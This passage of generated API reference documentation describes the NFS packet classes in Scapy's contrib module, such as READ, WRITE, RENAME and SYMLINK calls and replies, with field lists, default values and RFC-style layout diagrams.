+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EOF                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. READDIR_Reply                        


READDIR_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	verifier

	XLongField (Cond)

	0



	value_follows

	IntField (Cond)

	0



	files

	PacketListField (Cond)

	[]



	eof

	IntField (Cond)

	0















	
class scapy.contrib.nfs.READLINK_Call(_pkt, /, *, filehandle=<File_Object  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L852-L856]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. READLINK_Call                        


READLINK_Call fields






	filehandle

	PacketField

	<File_Object  |>















	
class scapy.contrib.nfs.READLINK_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, filename=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L859-L872]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. READLINK_Reply                        


READLINK_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	filename

	PacketField (Cond)

	<Object_Name  |>















	
class scapy.contrib.nfs.READ_Call(_pkt, /, *, filehandle=<File_Object  |>, offset=0, count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L882-L888]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             COUNT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. READ_Call                          


READ_Call fields






	filehandle

	PacketField

	<File_Object  |>



	offset

	LongField

	0



	count

	IntField

	0















	
class scapy.contrib.nfs.READ_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, count=0, eof=0, data_length=0, data=b'', fill=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L891-L915]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |             COUNT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              EOF              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          DATA LENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FILL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. READ_Reply                          


READ_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	count

	IntField (Cond)

	0



	eof

	IntField (Cond)

	0



	data_length

	IntField (Cond)

	0



	data

	StrLenField (Cond)

	b''



	fill

	StrLenField (Cond)

	b''















	
class scapy.contrib.nfs.REMOVE_Call(_pkt, /, *, dir=<File_Object  |>, filename=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L665-L670]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DIR              |            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. REMOVE_Call                         


REMOVE_Call fields






	dir

	PacketField

	<File_Object  |>



	filename

	PacketField

	<Object_Name  |>















	
class scapy.contrib.nfs.REMOVE_Reply(_pkt, /, *, status=0, af_before=0, attributes_before=<WCC_Attr  |>, af_after=0, attributes_after=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L673-L687]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ATTRIBUTES BEFORE       |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        ATTRIBUTES AFTER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. REMOVE_Reply                         


REMOVE_Reply fields






	status

	IntEnumField

	0



	af_before

	IntField

	0



	attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.RENAME_Call(_pkt, /, *, dir_from=<File_Object  |>, name_from=<Object_Name  |>, dir_to=<File_Object  |>, name_to=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L742-L749]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DIR FROM           |           NAME FROM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DIR TO            |            NAME TO            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RENAME_Call                         


RENAME_Call fields






	dir_from

	PacketField

	<File_Object  |>



	name_from

	PacketField

	<Object_Name  |>



	dir_to

	PacketField

	<File_Object  |>



	name_to

	PacketField

	<Object_Name  |>















	
class scapy.contrib.nfs.RENAME_Reply(_pkt, /, *, status=0, af_before_f=0, attributes_before_f=<WCC_Attr  |>, af_after_f=0, attributes_after_f=<Fattr3  rdev=[0, 0] |>, af_before_t=0, attributes_before_t=<WCC_Attr  |>, af_after_t=0, attributes_after_t=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L752-L776]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          AF BEFORE F                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ATTRIBUTES BEFORE F      |           AF AFTER F          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       ATTRIBUTES AFTER F      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          AF BEFORE T                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ATTRIBUTES BEFORE T      |           AF AFTER T          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       ATTRIBUTES AFTER T      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RENAME_Reply                         


RENAME_Reply fields






	status

	IntEnumField

	0



	af_before_f

	IntField

	0



	attributes_before_f

	PacketField (Cond)

	<WCC_Attr  |>



	af_after_f

	IntField

	0



	attributes_after_f

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	af_before_t

	IntField

	0



	attributes_before_t

	PacketField (Cond)

	<WCC_Attr  |>



	af_after_t

	IntField

	0



	attributes_after_t

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.RMDIR_Call(_pkt, /, *, dir=<File_Object  |>, filename=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L822-L827]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DIR              |            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RMDIR_Call                          


RMDIR_Call fields






	dir

	PacketField

	<File_Object  |>



	filename

	PacketField

	<Object_Name  |>















	
class scapy.contrib.nfs.RMDIR_Reply(_pkt, /, *, status=0, af_before=0, attributes_before=<WCC_Attr  |>, af_after=0, attributes_after=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L830-L844]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ATTRIBUTES BEFORE       |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        ATTRIBUTES AFTER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RMDIR_Reply                         


RMDIR_Reply fields






	status

	IntEnumField

	0



	af_before

	IntField

	0



	attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.SETATTR_Call(_pkt, /, *, filehandle=<File_Object  |>, attributes=<Sattr3  |>, check=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L545-L551]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CHECK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SETATTR_Call                         


SETATTR_Call fields






	filehandle

	PacketField

	<File_Object  |>



	attributes

	PacketField

	<Sattr3  |>



	check

	IntField

	0















	
class scapy.contrib.nfs.SETATTR_Reply(_pkt, /, *, status=0, af_before=0, attributes_before=<WCC_Attr  |>, af_after=0, attributes_after=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L554-L568]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ATTRIBUTES BEFORE       |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        ATTRIBUTES AFTER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SETATTR_Reply                        


SETATTR_Reply fields






	status

	IntEnumField

	0



	af_before

	IntField

	0



	attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.SYMLINK_Call(_pkt, /, *, dir=<File_Object  |>, dir_name=<Object_Name  |>, attributes=<Sattr3  |>, link_name=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L968-L975]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DIR              |            DIR NAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |           LINK NAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SYMLINK_Call                         


SYMLINK_Call fields






	dir

	PacketField

	<File_Object  |>



	dir_name

	PacketField

	<Object_Name  |>



	attributes

	PacketField

	<Sattr3  |>



	link_name

	PacketField

	<Object_Name  |>















	
class scapy.contrib.nfs.SYMLINK_Reply(_pkt, /, *, status=0, handle_follows=0, filehandle=<File_Object  |>, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, af_before=0, dir_attributes_before=<WCC_Attr  |>, af_after=0, dir_attributes_after=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L978-L1006]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         HANDLE FOLLOWS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |       ATTRIBUTES FOLLOW       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DIR ATTRIBUTES BEFORE     |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DIR ATTRIBUTES AFTER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SYMLINK_Reply                        


SYMLINK_Reply fields






	status

	IntEnumField

	0



	handle_follows

	IntField (Cond)

	0



	filehandle

	PacketField (Cond)

	<File_Object  |>



	attributes_follow

	IntField (Cond)

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	af_before

	IntField

	0



	dir_attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	dir_attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.Sattr3(_pkt, /, *, set_mode=0, mode=0, set_uid=0, uid=0, set_gid=0, gid=0, set_size=0, size=0, set_atime=0, atime_s=0, atime_ns=0, set_mtime=0, mtime_s=0, mtime_ns=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L182-L210]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L209-L210]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SET MODE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SET UID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SET GID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              GID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SET SIZE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SIZE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SET ATIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ATIME S                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ATIME NS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SET MTIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MTIME S                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MTIME NS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Sattr3                            


Sattr3 fields






	set_mode

	IntEnumField

	0



	mode

	OIntField (Cond)

	0



	set_uid

	IntEnumField

	0



	uid

	IntField (Cond)

	0



	set_gid

	IntEnumField

	0



	gid

	IntField (Cond)

	0



	set_size

	IntEnumField

	0



	size

	LongField (Cond)

	0



	set_atime

	IntEnumField

	0



	atime_s

	IntField (Cond)

	0



	atime_ns

	IntField (Cond)

	0



	set_mtime

	IntEnumField

	0



	mtime_s

	IntField (Cond)

	0



	mtime_ns

	IntField (Cond)

	0















	
class scapy.contrib.nfs.WCC_Attr(_pkt, /, *, size=0, mtime_s=0, mtime_ns=0, ctime_s=0, ctime_ns=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L128-L139]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L138-L139]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SIZE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MTIME S                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MTIME NS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CTIME S                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CTIME NS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. WCC_Attr                           


WCC_Attr fields






	size

	LongField

	0



	mtime_s

	IntField

	0



	mtime_ns

	IntField

	0



	ctime_s

	IntField

	0



	ctime_ns

	IntField

	0















	
class scapy.contrib.nfs.WRITE_Call(_pkt, /, *, filehandle=<File_Object  |>, offset=0, count=0, stable=0, length=0, contents=b'', fill=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L466-L476]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             COUNT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             STABLE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CONTENTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FILL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. WRITE_Call                          


WRITE_Call fields






	filehandle

	PacketField

	<File_Object  |>



	offset

	LongField

	0



	count

	IntField

	0



	stable

	IntEnumField

	0



	length

	IntField

	0



	contents

	StrLenField

	b''



	fill

	StrLenField

	b''















	
class scapy.contrib.nfs.WRITE_Reply(_pkt, /, *, status=0, af_before=0, attributes_before=<WCC_Attr  |>, af_after=0, attributes_after=<Fattr3  rdev=[0, 0] |>, count=0, committed=0, verifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L479-L501]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ATTRIBUTES BEFORE       |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        ATTRIBUTES AFTER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COUNT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           COMMITTED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERIFIER                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. WRITE_Reply                         


WRITE_Reply fields






	status

	IntEnumField

	0



	af_before

	IntField

	0



	attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	attributes_after

	PacketField (Cond)
